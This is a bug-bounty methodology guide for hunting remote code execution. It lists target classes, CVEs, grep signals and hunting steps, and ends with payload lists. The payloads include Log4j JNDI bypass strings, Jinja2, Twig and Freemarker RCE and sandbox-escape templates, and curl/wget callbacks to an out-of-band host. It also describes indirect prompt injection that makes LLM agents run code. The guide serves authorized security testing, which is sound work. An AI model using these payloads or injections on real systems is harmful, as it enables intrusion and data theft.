hunt-rce

Crown Jewel Targets

RCE is the highest-paying class in bug bounty, and the 24-month meta has shifted decisively toward five asset types. All CVEs below are verified against NVD.

1. Modern JS framework deserialization (CVSS 10.0). React Server Components / React Server Functions / Next.js App Router. CVE-2025-55182 (CVSS 10.0, Meta Bug Bounty, Vercel WAF-bypass program on H1, exploited in the wild within 24 hours of disclosure) is the defining 2025-2026 RCE. Every Next.js >=14.3.0-canary.77 / >=15.x / >=16.x deployment running unpatched RSC is a one-request RCE target. Vercel maintains a separate H1 program paying low five-figure bounties for WAF bypasses against this CVE. Hunt this first on any modern JS stack.

2. CI/CD runners and GitOps controllers. GitHub Actions pull_request_target script injection, GitLab CI runner takeover, Jenkins script console, Tekton/ArgoCD/Flux git resolvers. CVE-2026-40938 (Tekton git resolver --upload-pack argument injection — CVSS 9.4, NVD-verified, fix in v1.11.1) and CVE-2026-24685 (OpenProject git argument injection in repository diff endpoint, CVSS 9.4) define the 2026 GitOps meta. CI compromise = supply-chain compromise; bounties scale accordingly. GitHub Security Lab pays for these directly; downstream programs (Cilium, ArgoCD, Tekton are all CNCF graduates) often have parallel bounty programs.

3. Container runtimes and admission controllers. CVE-2024-21626 (runc "Leaky Vessels" — CISA KEV, CVSS 8.6, Snyk Labs disclosure) gives you full host RCE from any pod with runc exec. CVE-2024-23653 (BuildKit GRPC SecurityMode missing privilege check) breaks out at build time. CVE-2024-0132 (NVIDIA Container Toolkit TOCTOU, Wiz Research) covers the GPU-rich infrastructure stack. CVE-2025-1974 (ingress-nginx admission controller RCE, CVSS 9.8) — any pod-network attacker reads cluster-wide Secrets. Hunt these on every Kubernetes target where you can deploy a pod.

4. ML serving / inference platforms. CVE-2025-27520 (BentoML deserialize_value() unsafe pickle on /summarize, CVSS 9.8 critical, c2an1 disclosure via Snyk) and CVE-2025-32375 (BentoML runner server, GHSA-7v4r-c989-xh26) demonstrate the universal pattern — model registries deserialize pickled tensors and trust the format. CVE-2024-2912 (BentoML earlier pickle, Toreon disclosure). CVE-2024-1560/1483/1594 (MLflow path traversal family, all via Huntr) reach arbitrary file read/write on the model server. Hunt model registry endpoints, inference servers, and Content-Type: application/vnd.*+pickle accepting handlers.

5. Agentic LLM tool-use. CVE-2025-68613 (LangChain langchain-experimental PythonREPLTool / PandasDataFrameAgent — CVSS 9.8 critical, "Semantic RCE") is the new attack class. Indirect prompt injection in CSV/text/RAG context coerces the agent into writing exec()-able Python. Same pattern hits LlamaIndex code interpreter, MCP servers with shell tools, Ollama plugins. The agent is the gadget chain.

6. Internet Bug Bounty / OSS supply chain. nodejs, curl, git, python, php, rails, marked, phpoffice/phpspreadsheet, GitPython, coredns, jackson-databind, log4j, snakeyaml. A single bug here cascades downstream into thousands of apps. The 2026 corpus shows curl alone with multiple critical/high RCEs (--engine arbitrary library load via H1 disclosed report, short-flag grouping argument injection, SFTP QUOTE path traversal, libcurl cookie buffer overflow). Bounties scale with downstream blast radius.

7. Government & enterprise asset surfaces (deptofdefense pattern). Old log4j, Confluence (CVE-2023-22527 OGNL injection at /template/aui/text-inline.vm), Liferay (CVE-2020-7961), Pentaho with default creds, Cisco IOS XE, GlobalProtect (still paying via H1 disclosed 2025-2026) — all still paying on intranets and forgotten subdomains. Old CVEs against old assets is a paying strategy. Apache Tomcat CVE-2024-50379 (write-enabled default servlet RCE via JSP race condition, CVSS 9.8) joined the rotation in 2024-2025.

Admin panels with file/asset upload. Anywhere ops staff upload images, configs, themes, packages. Screenshot URLs piped to shell, ZIP extraction without extension filter, theme installer running unzip then serving the public dir. Grav SSTI/direct-install (multiple Snyk advisories), WPML Twig SSTI (Patchstack disclosure).

OAuth/SSO auth surfaces in OSS apps — SAML signature validation that returns errors instead of throwing (Admidio H1 disclosed), TSIG bypass on gRPC/QUIC (CoreDNS GHSA), null-password fallback in OIDC (Note Mark GHSA). Not RCE alone, but the way INTO admin where RCE lives. Always-paired hunting target.

File processors / parsers — XLSX, XML, image (ExifTool), PDF, font parsers, archive extractors, anything that takes a file and runs code based on its content. Modern incidents hit phpspreadsheet, marked, ExifTool stdin injection, WinRAR (CVE-2025-8088 NTFS ADS path traversal, ESET disclosure).

What pays the most: pre-auth, no user interaction, single request. A single curl http://target/?x=$(payload) returning a reverse shell is a low-to-mid five-figure bug depending on program. CVE-2025-55182 (React2Shell) paid up to mid five-figure tier publicly via Vercel's dedicated H1 WAF-bypass program. Post-auth/admin RCE is mid-tier (low four to low five-figure). Argument-injection-on-internal-asset is mid-tier. Cluster takeover via GitOps controller is top-tier (high four-figure to mid five-figure on CNCF programs).

Attack Surface Signals

Greppable signals that this surface might exist:

# Java deserialization sinks
rg -n "ObjectInputStream|readObject\(|XStream\.fromXML|Jackson.*enableDefaultTyping|SnakeYaml\(\)|new Yaml\(\)\.load\(|HessianInput|Kryo\(\)" \
   --type java

# Python pickle / yaml.load sinks
rg -n "pickle\.loads?\(|yaml\.load\(|marshal\.loads\(|cPickle|jsonpickle\.decode" --type py

# PHP unserialize / phar
rg -n "\bunserialize\(|file_exists.*phar://|fopen.*phar://|file_get_contents.*phar://" --type php

# .NET deserialization
rg -n "BinaryFormatter|LosFormatter|ObjectStateFormatter|JavaScriptSerializer.*Deserialize|XmlSerializer.*Deserialize" \
   --type cs

# Ruby YAML.load / Marshal.load (not safe_load)
rg -n "YAML\.load\(|YAML\.unsafe_load|Marshal\.(load|restore)" --type rb

# Node.js prototype pollution sinks (gadget reachability)
rg -n '_\.merge\(|_\.mergeWith\(|_\.defaultsDeep\(|Object\.assign\(\{\},' --type js

# Template injection sinks (SSTI)
rg -n "render_template_string|Jinja2.*from_string|Twig.*createTemplate|new Velocity|FreeMarker.*Template|new Handlebars\.SafeString|Pebble" \
   -g '!*test*'

# Shell execution from user input
rg -n "subprocess\.call\([^)]*shell=True|subprocess\.run\([^)]*shell=True|os\.system\(|exec\(|eval\(|popen\(|child_process\.exec\(" \
   --type py --type js --type rb --type php

# Argument injection — flags reaching CLIs
rg -n 'subprocess.*\["(curl|git|ssh|tar|exiftool|imagemagick|ffmpeg|wget|rsync|scp)"' \
   --type py --type js --type rb

# React Server Components / Next.js Flight (CVE-2025-55182 candidates)
rg -n "react-server-dom-(webpack|parcel|turbopack)" -g 'package*.json'

# Pickle accepting Content-Type (BentoML / ML serving family)
rg -n 'application/vnd\..*\+pickle|application/x-python-pickle|pickle\.loads\(.*request' --type py

# Agentic LLM exec sinks (CVE-2025-68613 family)
rg -n 'PythonREPLTool|PythonAstREPLTool|PandasDataFrameAgent|create_pandas_dataframe_agent|sympy\.sympify|VectorSQLDatabaseChain' --type py

HTTP-level signals on a live target:

• Server: Apache Coyote, X-Powered-By: JSF/2, ?vid=, viewstate/JSF endpoints → deserialization candidate
• X-Generator: Liferay, /c/portal/json_service, /api/jsonws/ → Liferay (CVE-2020-7961)
• X-Confluence-Request-Time header, /exception.jsp exposed, /template/aui/text-inline.vm reachable → Confluence (CVE-2023-22527 OGNL injection)
• Set-Cookie: .ASPXAUTH=, __VIEWSTATE in body → .NET deserialization
• User-Agent: ${jndi:...} reflected anywhere in logs/admin UI → log4j (CVE-2021-44228) candidate
• ext-js, Sitecore footprint, /sitecore/admin/ → Sitecore deserialization (CVE-2025-27218, H1 disclosed)
• Powered by DotNetNuke, .aspx w/ DNN cookies → DNN cookie deserialization (CVE-2017-9822, H1 disclosed 2024 against MTN)
• Content-Type: application/octet-stream upload responses + theme/plugin endpoints → upload chain
• 500 errors that leak freemarker.core.InvalidReferenceException, Twig\Error, jinja2.exceptions.UndefinedError → SSTI confirmed
• next/static/, _next/data/, __nextjs, X-Powered-By: Next.js, plus Server-Action request headers → CVE-2025-55182 candidate — pivot to Server Function endpoint discovery
• X-Php-Cgi, cgi-bin/php-cgi.exe, .php? on Windows hosts in CN/JP/TW locales → CVE-2024-4577 PHP-CGI argument injection (Best-Fit encoding)
• Server: Apache/2.4.5x plus mod_proxy headers → Apache Confusion Attacks (CVE-2024-38472/38476/38477/39573, Orange Tsai BHUSA 2024)
• Server: Apache-Coyote/1.1 + Tomcat default servlet error pages + 9.0.x version → CVE-2024-50379 default-servlet write-RCE (NVD-verified critical)
• Vercel Platform: response header (without correct version pinning) → CVE-2025-55182 + Vercel WAF-bypass H1 program
• Content-Type: application/vnd.bentoml+pickle accepted on /summarize or model-inference endpoints → CVE-2025-27520 BentoML unsafe pickle
• X-LangChain-Agent / X-LangServe- headers, or /invoke / /agent endpoints with CSV/text upload → CVE-2025-68613 LangChain REPL semantic RCE
• kubernetes.io/ingress.class: nginx + admission webhook reachable from pod network → CVE-2025-1974 ingress-nginx

docker pull <image> && trivy image <image> and nuclei -t cves/ against fingerprinted versions remains the highest-throughput high-paying technique on enterprise/DoD assets.

Insertion Point Taxonomy

Every place attacker-controlled data flows for RCE. Use as a checklist on each target:

• URL path / query / fragment → SSTI (/page?name={{7*7}}), command injection (/api/ping?host=), PHP-CGI argument injection (/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1).
• Headers — User-Agent, Referer, X-Forwarded-For, Authorization, custom X-Tenant-ID. Log4j JNDI lives here. CRLF in httplib.HTTPConnection (Orange Tsai's GitHub Enterprise chain). Server Function action headers in React. BentoML Payload-Container/Payload-Meta headers carry pickle (CVE-2025-32375 GHSA-7v4r-c989-xh26).
• Body — JSON (deserialization metadata: __type, $type, class, _class), form fields, multipart, XML (XXE → file read → secret → RCE), GraphQL variables, RSC Flight payloads, raw pickle bytes on application/vnd.*+pickle.
• Cookies — Java/Ruby session marshalled object (rO0A magic for Java b64), __VIEWSTATE, JWT alg=none then JWT-claim SSTI, custom session tokens that base64-decode to serialized objects.
• File contents — filename (path traversal → arbitrary write → RCE), ZIP entries (theme installer, package manager), EXIF/XMP/IPTC metadata (ExifTool ImageMagick), color profile, font tables, CSV cells (=cmd|"/c calc"!A1 for spreadsheet apps; CSV cells fed to LangChain PandasDataFrameAgent for CVE-2025-68613), YAML uploads (!!python/object/apply:os.system), SVG (XSS → admin → RCE), Markdown (SSTI in render pipeline), pickled tensors (BentoML).
• WebSocket frames — RCE via JSON deserialization in WS message handlers, often missed by HTTP-only WAF.
• Background/async paths — job queues, webhooks retry, cron-triggered processing, email-to-ticket parsers, scheduled report generators that interpolate user names into shell.
• Indirect (stored) — DB-stored content rendered later, file written then served, prompt context for LLMs (LLM tool use → shell exec gadget — exact CVE-2025-68613 vector via RAG), git commit messages echoed by CI, branch names interpolated into run: blocks of GitHub Actions.
• CLI/IPC parameters — Kubernetes ResolutionRequest objects (Tekton CVE-2026-40938 NVD-verified), Argo CMP plugin env vars, kubectl exec annotations, container labels.
• Container build context — Dockerfile WORKDIR symlink to /proc/self/fd/7/ (CVE-2024-21626 Leaky Vessels), # syntax= line referencing untrusted frontend image (CVE-2024-23653 BuildKit), CDI device specs (CVE-2024-0132 NVIDIA Container Toolkit TOCTOU).
• Protocol smuggling — Gopher protocol via SSRF (gopher://target:6379/_FLUSHALL%0d%0a...), CRLF into Memcached/Redis (Orange Tsai GitHub Enterprise pattern, also H1 2025 disclosed Gopher CRLF report).

For each surface, send ${7*7}, {{7*7}}, <%=7*7%>, ${jndi:dns://x.oast.fun/}, ;curl http://x.oast.fun/, and a Java deser magic byte (rO0AB...) probe. Watch for both reflected math results AND OOB DNS hits.

Step-by-Step Hunting Methodology

1. Fingerprint stack first. Hit /, the login page, /.well-known/, /robots.txt, an error path. Record Server, X-Powered-By, generator meta, JS framework version (React.version, __NEXT_DATA__, Vue devtools probe), error templates, cookie names, response timing. RCE hunting without stack knowledge is throwing payloads at walls. If Next.js >=14.3.0-canary.77 or unpatched 15.x/16.x → start with CVE-2025-55182.

2. Check CVE-2025-55182 first on any modern JS target. The 2025-2026 meta. Probe Server Function endpoints with both Next-Action header (Server Actions) and direct RSC Flight POST. Confirm with arithmetic-result reflection or OOB DNS, then submit immediately — Vercel pays low-to-mid five-figure for WAF bypasses on patched-but-protected hosts via dedicated H1 program. Patch versions to compare against: React 19.0.1, 19.1.2, 19.2.1; Next.js 15.0.5/15.1.9/15.2.6/15.3.6/15.4.8/15.5.7/16.0.7. Anything below = vuln per NVD CVE-2025-55182 advisory.

3. Try every known CVE that matches the stack. This sounds dumb. It pays consistently in 2025-2026. Pull the CVE list with nuclei -t cves/ or nmap --script vulners. The DoD pipeline is essentially "scan asset → match CVE → exploit". Confluence CVE-2023-22527 (POST /template/aui/text-inline.vm with the OGNL findValue payload), PHP-CGI CVE-2024-4577 (Windows in CN/JP/TW locale, %AD soft hyphen for argument injection), Apache CVE-2024-38472/38476 (Orange Tsai Confusion Attacks), Tomcat CVE-2024-50379 (write-enabled default servlet on case-insensitive FS), log4j on internal portals — all still paying.

4. Map every place user input reaches a parser. Profile pictures, document uploads, file imports (CSV/XLSX/JSON/XML/YAML), webhooks, SAML/OIDC redirect targets, email templates, error messages, feature-flag JSON, config-as-code editors. These are deserialization/SSTI surfaces. If admin file upload exists, ZIP-based theme/plugin install is a near-guaranteed webshell vector. If not → branch to step 5.

5. Test SSTI on every reflected input. Submit in order: ${7*7}, {{7*7}}, <%=7*7%>, #{7*7}, *{7*7}, ${7*'7'}. Map response: 49 → Java/Spring/Velocity/Twig/ERB. 7777777 → Jinja2 (Python). Engine confirmation → use engine-specific RCE payload from the Payload section, including the sandbox-escape alternates if the obvious gadget is filtered. If you see freemarker.core.* or jinja2.exceptions.* in errors, you have engine-confirmed SSTI before any payload.

6. Test command injection by side channel. Use OOB DNS callbacks (Burp Collaborator, interact.sh). Inject in this order: ;curl http://<id>.oast.fun/x, $(curl http://<id>.oast.fun/y), `wget http://<id>.oast.fun/z`, |nslookup <id>.oast.fun. No reflection needed — most modern RCE is blind. If first 4 fail and target has any URL-fetching feature, try the Gopher SSRF→Memcached/Redis chain (Orange Tsai GitHub pattern, also re-disclosed via H1 2025 "Protocol Smuggling / CRLF Injection via Gopher" report).

7. Hunt file upload chains. Upload .html, .svg (XSS-then-pivot), .phtml, .phar, .jsp, .jspx, .aspx, .cer, .config, .htaccess. Try double extensions (shell.php.png), null bytes (shell.php%00.png), Content-Type spoofing, magic-byte prefixed payloads (GIF89a + PHP). ZIP-based upload handlers (themes, plugins, packages) often unpack without extension filter. For WordPress, CVE-2025-13486 (Advanced Custom Fields Extended call_user_func_array) is the recent unauthenticated payable CVE. For Tomcat, drop a .jsp via PUT against the write-enabled default servlet (CVE-2024-50379).

8. Look for argument injection in shelled-out CLIs. Search reflection where input goes to git, curl, tar, ssh, exiftool, imagemagick, ffmpeg, rsync. Test --engine /tmp/evil.so (curl, H1 2025 disclosed critical against curl), --upload-pack= (git, CVE-2025-21613 go-git, CVE-2026-40938 Tekton NVD-verified, CVE-2026-24685 OpenProject NVD-verified), --checkpoint-action (tar), short-flag grouping (curl 2026 H1 critical "Argument Injection via curl Short-Flag Grouping"). Anywhere user input is the first positional argument to a CLI without -- sentinel, test argument injection.

9. Read the source if available. OSS apps and GHSA repos have public commits. git log --all --grep="security", git log -p -S "exec(" -- src/, git log -p -S "readObject" -- src/. Look for recently added input handling without recently added validation. Apply the semgrep + ast-grep + ripgrep + CodeQL rules from the Source Review section. Finding a recent fix commit and re-reading the file at HEAD~1 gives you the bug for free — the patch shows you exactly which input wasn't validated. Run gh pr list --search "RCE" --state closed and read those.

10. Hunt CI/CD and GitOps surface. For any GitHub-hosted target, audit .github/workflows/*.y*ml for pull_request_target + ${{ github.event.pull_request.* }} interpolation in run: (script injection — see Cilium GHSL-2024-274, Ceph GHSA-p433-fp4g-pc2c, ansible.platform GHSA-fwqj-x86q-prmq). For self-hosted Kubernetes targets, look for ArgoCD/Flux/Tekton/Argo Workflows in scope. Check for pull_request_target + actions/checkout with pull_request.head.sha (RCE on runner with secrets). For GitLab, audit .gitlab-ci.yml for runner registration token leak and CI_JOB_TOKEN scope abuse. For Jenkins, check /script endpoint exposure, agent JNLP secret leak, build parameter injection, CVE-2024-23897 line-too-long Args4j read primitive. For ArgoCD/Tekton, CVE-2026-40938 is the canonical 2026 hunt — submit ResolutionRequest YAML with revision: --upload-pack=/usr/bin/curl.

11. Hunt container runtime and admission controller surface. For any pod-network reachable target, test ingress-nginx admission webhook for CVE-2025-1974 (NVD-verified critical, CVSS 9.8, reads cluster Secrets). For container builds, attempt CVE-2024-21626 Leaky Vessels (WORKDIR to /proc/self/fd/7/) on multi-tenant build infrastructure or PR-triggered image builds. For NVIDIA-equipped GPU clusters, attempt CVE-2024-0132 TOCTOU on container-toolkit < 1.16.2.

12. Hunt ML serving / agentic LLM surface. Probe model-inference endpoints with Content-Type: application/vnd.bentoml+pickle carrying a __reduce__ pickle gadget (CVE-2025-27520, Snyk PoC by c2an1). For LangChain/LlamaIndex agents, upload CSV/markdown/text containing indirect prompt injection that names the PythonREPLTool and asks it to exec() arbitrary code (CVE-2025-68613). For MLflow, probe artifact_location with #-fragment URI for path traversal (CVE-2024-1483/1560/1594 family, all Huntr-disclosed).

13. Chain low-impact bugs. Single bugs are duplicates. Top-tier hunters live in chains. SSRF → cloud metadata (169.254.169.254) → IAM creds → AssumeRole → Lambda code edit → RCE. XSS in admin → CSRF post to /admin/upload → webshell. Path traversal write → drop file in cron path → wait. Prototype pollution → universal Node gadget → RCE in NPM CLI / Parse Server / Rocket.Chat (Silent Spring research, Arteau & Doupé). Most paid RCEs in 2024-2026 are 2-link chains, not single bugs. See the Chains section.

14. Validate before reporting. OOB callback ≠ RCE. Triagers want process output: id, whoami, hostname, uname -a, contents of /etc/hostname. Get those four, then stop. Don't pivot, don't read AWS creds, don't ls /root, don't cat /etc/shadow — that's an unauthorized-access escalation that gets the report closed and you banned. See Gate 0.

Payload & Detection Patterns

Sub-technique A — Log4j / JNDI (still paying on enterprise/internal)

# fingerprint
${jndi:dns://x.oast.fun/a}
${jndi:ldap://x.oast.fun/a}

# bypass set (case mangling, nested ${::-X})
${${lower:j}ndi:${lower:l}dap://x.oast.fun/a}
${${::-j}${::-n}${::-d}${::-i}:ldap://x.oast.fun/a}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap://x.oast.fun/a}
${${::-${env:BARFOO:-j}}ndi:ldap://x.oast.fun/a}

# RCE delivery (LDAP server returns Exploit class)
${jndi:ldap://attacker:1389/Exploit}

Test these in: User-Agent, Referer, X-Forwarded-For, Authorization, X-Api-Version, custom headers, every form field, every URL parameter, login username, search box, JSESSIONID, X-Forwarded-Host.

Sub-technique B — SSTI engine fingerprinting + RCE (with sandbox-escape alternates)

# Fingerprint
${7*7}                  # Java/Spring/Velocity/Freemarker → 49
{{7*7}}                 # Jinja2/Twig/Nunjucks/Pebble/Handlebars → 49 or 7777777
{{7*'7'}}               # Jinja2: '7777777' | Twig: 49 (disambiguator)
<%= 7*7 %>              # ERB/EJS → 49
#{ 7*7 }                # Ruby/Pebble/Slim → 49
*{7*7}                  # Thymeleaf → 49
{7*7}                   # Smarty → 49
${{ 7*7 }}              # GitHub Actions expressions → 49

# Jinja2 RCE — primary (works when `request` is in scope)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}}

# Jinja2 sandbox-escape alternates — when `request` / `config` are filtered
# Use `lipsum` (Werkzeug helper) to reach __globals__:
{{lipsum.__globals__['os'].popen('id').read()}}
# Use `cycler` (Jinja2 builtin):
{{cycler.__init__.__globals__.os.popen('id').read()}}
# Use `get_flashed_messages` (Flask helper exposed to templates):
{{get_flashed_messages.__globals__['__builtins__'].open('/etc/passwd').read()}}
# Use `namespace` (Jinja2 builtin) to reach __init__:
{{namespace.__init__.__globals__.os.popen('id').read()}}
# Use `joiner` (Jinja2 builtin):
{{joiner.__init__.__globals__.os.popen('id').read()}}
# Class-traversal fallback when *all* helpers filtered (works in pure Jinja2 sandbox):
{{''.__class__.__mro__[1].__subclasses__()[<idx>]("/usr/bin/id",shell=True,stdout=-1).communicate()[0]}}

# Twig RCE — Twig 2.x sandbox bypass (works when strict_callables not set)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

# Twig 3.x — strict_callables denies the filter() trick. Alternates:
# - `_self` is no longer the Environment in Twig 3; it's the Template
# - Pivot to `getName()` / `getTemplateName()` for read-only
# - For RCE in Twig 3, you typically need a chain through a registered
#   user function or the `dump` extension; if neither, SSTI is read-only
# - For Twig 2 vs 3 confirmation: {{_self.env}} prints in 2, errors in 3
{{_self.env.getRuntime("Symfony\\Component\\Form\\FormRenderer").renderBlock(...)}}  # Symfony-specific, Twig 3

# Freemarker RCE — primary
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}